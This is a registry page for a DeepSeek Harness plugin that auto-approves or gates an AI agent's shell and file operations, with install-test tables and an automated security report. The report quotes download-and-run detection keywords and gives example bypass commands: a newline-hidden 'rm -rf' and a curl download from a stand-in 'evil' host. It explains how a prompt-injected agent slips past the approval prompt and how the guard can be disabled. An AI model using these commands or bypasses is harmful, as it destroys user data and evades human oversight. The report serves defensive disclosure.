Install verification: runtime verified (L5) · tested on dsh 0.2.2-rc.3 · last checked Install verification details →
Data as of (UTC)
What it doesAI
Permission guard for DeepSeek Harness that auto-approves safe file ops and prompts for destructive ones.
- Auto-allows safe operations in trusted directories
- Always prompts for destructive or dangerous actions
- Sits between workspace-write and full-access permission tiers
Capability tags are AI-inferred or rule-extracted from the README (see badge) — vocabulary-limited, not install-verified. AI = inferred; README = literal keyword from the readme.
Installation
dsh plugin --profile web add github:a903067276-rgb/dsh-perm-guard#v0.4.2Install method: GitHub · runtime verified (L5)
Trends
Four lines, four questions: total stars, stars gained this week, cumulative downloads, downloads this week. The GitHub pair comes from real-read sampling — a rotating daily shard, so one plugin is re-read roughly every 5–14 days, sparser than npm; the npm pair has a value on every snapshot day. The two cumulative panels are smoothed curves with no sample markers; the two weekly panels keep their raw bars and add a 4-week moving-average trend line that strips single-week noise down to the direction of travel.
current (registry 2026-11-17) · 10 samples (roughly every 7 days), 4 of them reconstructed (dashed runs); a smoothed curve through every sample — not a daily series
09-21 → 11-16 · 10 points
Bars = the delta between two samples 5–14 days apart (negative points down, faint bars contain reconstructed points); line = 4-week moving-average trend
10-02 → 11-16 · 9 points
Reconstructed backwards from the current total using daily downloads (gaps are not interpolated)
Only 0 points (< 3): no chart yet
no data yet
Bars = the snapshot’s last-week rolling window (official npm + npmmirror combined); line = 4-week moving-average trend — the shape of weekly demand, not a user count
Only 0 points (< 3): no chart yet
no data yet
Verification & Compatibility
Grouped by plugin version: each card lists the dsh versions actually tested against that artifact version and their install verdicts (L5 wins). Untested combinations are omitted — absence means untested, never assumed compatible. L1–L3 are a plugin-level static archive (independent of the dsh version — the same verdict on every dsh row): they sit in each row's level grid next to L4/L5, marked "static", while their evidence is stored once per plugin inside that row's "checks & evidence" instead of being duplicated per version.
External credentials (plugin-level): none detected
Based on a single engines.dsh range (decides alone; peerDependencies is not consulted). raw ranges
>=0.0.1
✓ Running dsh 0.2.2-rc.3 is within the declared range — install is not blocked by version.
Deciding channel: since 0.2.1-alpha.4 DSH judges by engines.dsh when declared — peerDependencies is then not consulted.
Whether it actually runs is a separate question → see the measured matrix below (L1–L5).
| plugin \ dsh | dsh 0.2.2-rc.3 current | dsh 0.2.2-rc.1 | dsh 0.2.1-rc.5 | dsh 0.2.1-rc.3 | dsh 0.2.1-rc.2 |
|---|---|---|---|---|---|
| v0.4.2 | ✓ | ✗ | ✗ | ✗ | ✗ |
| v0.4.1 | · | · | · | · | · |
| v0.2.10 | · | · | · | · | · |
| v0.1.1 | · | · | · | · | · |
v0.4.2github✓ 1 runtime-verified7 failed2026-11-14
https://github.com/a903067276-rgb/dsh-perm-guard
✓dsh 0.2.2-rc.3current2026-11-14L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.2.2-rc.3
- • Plugin artifact: github · https://github.com/a903067276-rgb/dsh-perm-guard#v0.4.2
ID: dsh-perm-guard@v0.4.2@dsh0.2.2-rc.3 · profile: l4-sandbox
Issued: 2026-11-14 · expires: 2026-11-21
View checks & evidence
active in loader tree (206 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.2-rc.12026-11-06L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.2-rc.1
- • Plugin artifact: github · https://github.com/a903067276-rgb/dsh-perm-guard#v0.4.2
ID: dsh-perm-guard@v0.4.2@dsh0.2.2-rc.1 · profile: l4-sandbox
Issued: 2026-11-06 · expires: 2026-11-13
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.1-rc.52026-11-01L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.5
- • Plugin artifact: github · https://github.com/a903067276-rgb/dsh-perm-guard#v0.4.2
ID: dsh-perm-guard@v0.4.2@dsh0.2.1-rc.5 · profile: l4-sandbox
Issued: 2026-11-01 · expires: 2026-11-08
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.1-rc.32026-10-27L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.3
- • Plugin artifact: github · https://github.com/a903067276-rgb/dsh-perm-guard#v0.4.2
ID: dsh-perm-guard@v0.4.2@dsh0.2.1-rc.3 · profile: l4-sandbox
Issued: 2026-10-27 · expires: 2026-11-03
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.1-rc.22026-10-20L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.2
- • Plugin artifact: github · https://github.com/a903067276-rgb/dsh-perm-guard#v0.4.2
ID: dsh-perm-guard@v0.4.2@dsh0.2.1-rc.2 · profile: l4-sandbox
Issued: 2026-10-20 · expires: 2026-10-27
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.1-alpha.22026-10-12L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.2
- • Plugin artifact: github · https://github.com/a903067276-rgb/dsh-perm-guard#v0.4.2
ID: dsh-perm-guard@v0.4.2@dsh0.2.1-alpha.2 · profile: l4-sandbox
Issued: 2026-10-12 · expires: 2026-10-19
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.0-rc.22026-10-09L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.2
- • Plugin artifact: github · https://github.com/a903067276-rgb/dsh-perm-guard#v0.4.2
ID: dsh-perm-guard@v0.4.2@dsh0.2.0-rc.2 · profile: l4-sandbox
Issued: 2026-10-09 · expires: 2026-10-16
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗prehistory2026-09-30L5 · failed
- • Node.js: v24.14.0
- • DSH: unknown
- • Plugin artifact: github · https://github.com/a903067276-rgb/dsh-perm-guard#v0.4.2
ID: dsh-perm-guard@v0.4.2@dshunknown · profile: l3-fullscan
Issued: 2026-09-30 · expires: 2026-10-07
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
v0.4.1github2026-09-29
https://github.com/a903067276-rgb/dsh-perm-guard
No runtime install test for this version (static scan only) — compatibility unknown, never assumed.
v0.2.10github✓ 3 runtime-verified2026-09-25
https://github.com/a903067276-rgb/dsh-perm-guard
✓dsh 0.1.7-rc.22026-09-25L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.2
- • Plugin artifact: github · https://github.com/a903067276-rgb/dsh-perm-guard#v0.2.10
ID: dsh-perm-guard@v0.2.10@dsh0.1.7-rc.2 · profile: l4-sandbox
Issued: 2026-09-25 · expires: 2026-10-02
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.1.6-alpha.22026-09-20L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.2
- • Plugin artifact: github · https://github.com/a903067276-rgb/dsh-perm-guard#v0.2.10
ID: dsh-perm-guard@v0.2.10@dsh0.1.6-alpha.2 · profile: l4-sandbox
Issued: 2026-09-20 · expires: 2026-09-27
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.1.6-alpha.12026-09-17L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.1
- • Plugin artifact: github · https://github.com/a903067276-rgb/dsh-perm-guard#v0.2.10
ID: dsh-perm-guard@v0.2.10@dsh0.1.6-alpha.1 · profile: l4-sandbox
Issued: 2026-09-17 · expires: 2026-09-24
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
v0.1.1github✓ 4 runtime-verified2026-09-11
https://github.com/a903067276-rgb/dsh-perm-guard
✓dsh 0.1.5-rc.22026-09-11L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.5-rc.2
- • Plugin artifact: github · https://github.com/a903067276-rgb/dsh-perm-guard#v0.1.1
ID: dsh-perm-guard@v0.1.1@dsh0.1.5-rc.2 · profile: l4-sandbox
Issued: 2026-09-11 · expires: 2026-09-18
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.1.3-alpha.22026-09-08L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.2
- • Plugin artifact: github · https://github.com/a903067276-rgb/dsh-perm-guard#v0.1.1
ID: dsh-perm-guard@v0.1.1@dsh0.1.3-alpha.2 · profile: l4-sandbox
Issued: 2026-09-08 · expires: 2026-09-15
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.1.3-alpha.12026-09-07L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.1
- • Plugin artifact: github · https://github.com/a903067276-rgb/dsh-perm-guard#v0.1.1
ID: dsh-perm-guard@v0.1.1@dsh0.1.3-alpha.1 · profile: l3-fullscan
Issued: 2026-09-07 · expires: 2026-09-14
View checks & evidence
active in loader tree (151 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.1.2-rc.12026-09-05L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.2-rc.1
- • Plugin artifact: github · https://github.com/a903067276-rgb/dsh-perm-guard#v0.1.1
ID: dsh-perm-guard@v0.1.1@dsh0.1.2-rc.1 · profile: l3-fullscan
Issued: 2026-09-05 · expires: 2026-09-12
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
Only the latest 3 published versions are shown; source-snapshot (commit hash) groups, unstated groups and older versions are omitted — the full archive stays in the data layer (snapshot/unstated groups appear only when a plugin has no published version).
Author badges
Embed the dsh.so badges in your README to show this plugin's automated security-scan and install-test status:
`[](https://www.dsh.so/artifact/dsh-perm-guard/?ref=badge)``[](https://www.dsh.so/artifact/dsh-perm-guard/?ref=badge-install)``[](https://www.dsh.so/artifact/dsh-perm-guard/?ref=badge-install)``[](https://www.dsh.so/artifact/dsh-perm-guard/?ref=badge-install)``[](https://www.dsh.so/artifact/dsh-perm-guard/?ref=badge-install)`dsh.so is an independent community project, not affiliated with or endorsed by DeepSeek AI. Badges are maintained by dsh.so; embed links carry a ?ref= attribution parameter.
Security Report
Two automated layers, neither a manual review: a static scan (per-plugin rule checks) and a model-driven dynamic security audit that covers only the subset static-flagged at warn or above and never executes plugin code.
Static low; dynamic high (authoritative when present) → overall high.
v0.4.2dsh manifestv0.4.2git2026-11-17v0.4.2same versionclean · gitVet is an AST static scan (npm artifact or git source).
show static findings (2)
- criticalpipeShell · shell
lib/client.js:48["networkExec", "网络下载执行", "curl|sh、Invoke-RestMethod/iwr、certutil 下载等"], - criticalpipeShell · shell
lib/client.js:175}, "激进", react.createElement("div", { className: "pg-mode-sub" }, "除删除/磁盘/受保护路径/提权/curl|sh 外全部自动,不限目录")),
show 3 audit findings
- highNewline / single-'&' separated bash commands are classified by first token only, auto-approving hidden destructive or download segments
lib/index.jssplitCommands only splits on &&, ||, ; and |. A command such as "ls\nrm -rf ~/Documents" or "ls & curl -o /tmp/p http://evil/x" stays one part; classifyCommand inspects only the first token ('ls'), READONLY matches, and the answerer returns 'allowed-once' — the host approval prompt is skipped even though 'delete' and 'networkExec' are in LOCKED_ASK / configured as ask. Any prompt-injected or hallucinating agent can therefore execute unconfirmed destructive deletions or downloads outside the trusted directories.
- mediumConfig-changing endpoint /api/perm-guard/state is protected only by a spoofable Origin/Host heuristic
lib/index.jsWhen the Origin header is absent the check degrades to a Host-header regex that any client sets freely, and the POST handler accepts {enabled:false}, {mode:'aggressive'} and trustedDirs because isAbsAny('/') is true — i.e. the guard can be switched off or the whole filesystem trusted. Reachable from a cross-site HTML form POST with enctype text/plain in browsers/agents that omit Origin, and from any peer if the DSH web server is ever bound beyond loopback. The route is the only control protecting the plugin's own safety state.
- lowPlugin ships enabled with the workspace's parent directory as an extra trust root
lib/index.jsAuto-approval of file writes and in-trust script execution is granted to the whole parent subtree of the workspace, not just the workspace. For shallow roots (e.g. /workspace in a container, or a workspace at a home directory) parentOf yields '/' or the home directory, silently auto-approving writes far outside the project; the plugin is on by default, so this applies without any user action.
Real classifier gap: bash commands separated by newline or a single '&' are judged by their first token only, so hidden rm/curl segments are auto-approved without confirmation.
Rule (2026-10-28): when a dynamic conclusion exists it is authoritative (it may raise or lower the level); the static scan tier (vet primary, dsh backstop) applies only when there is none (not queued / audit failed / withdrawn). The audit never writes the exemption list (exemptions are manual only); a wrong conclusion is withdrawn by human review and the tier falls back to the static scan tier.
Disclaimer: the static scan and the dynamic security audit are both automated analysis, not a security guarantee. Always review what you install.
Activity
Last commit 2026-10-01 · activity: Stable
• Repo created: 2026-08-17
• Stars: ★ 1 · Forks: 3
• Health: Stable — committed within 90 days
Source
Author README
View on GitHub ↗The author's original README from the repository — fetched live, unedited (the English page loads the default README).
Frequently asked questions
What is dsh-perm-guard?
dsh-perm-guard is a DeepSeek Harness (dsh) plugin listed on dsh.so — an independent community registry that indexes public source repositories and publishes automated security-scan and install-verification results for each entry.
Is dsh.so or this plugin page official?
dsh.so is an independent community registry and is not affiliated with, endorsed by, or sponsored by DeepSeek AI.
How do I install dsh-perm-guard?
Run dsh plugin --profile web add github:a903067276-rgb/dsh-perm-guard#v0.4.2 in a DeepSeek Harness (dsh) environment. That exact command passed a real install inside an isolated sandbox (L4) plus web smoke testing (L5).
How does the security scan relate to a manual audit?
Both layers are automated, not a manual audit. The static scan is heuristic analysis of the repository source, so it can produce false positives and miss context. The model-driven dynamic security audit only covers plugins static-flagged at warn or above, never executes plugin code, and its conclusion is authoritative when there is one (it may raise or lower the static tier); exemptions stay manual. Neither layer is an endorsement: review the repository and the permissions it asks for before installing, together with the verification level and health signals.
How fresh is the data on this page?
The data on this page is as of 2026-11-17 (UTC) — the most recent valid timestamp among the registry refresh, install verification, security scan and dynamic audit. Build time is never used as a data date.
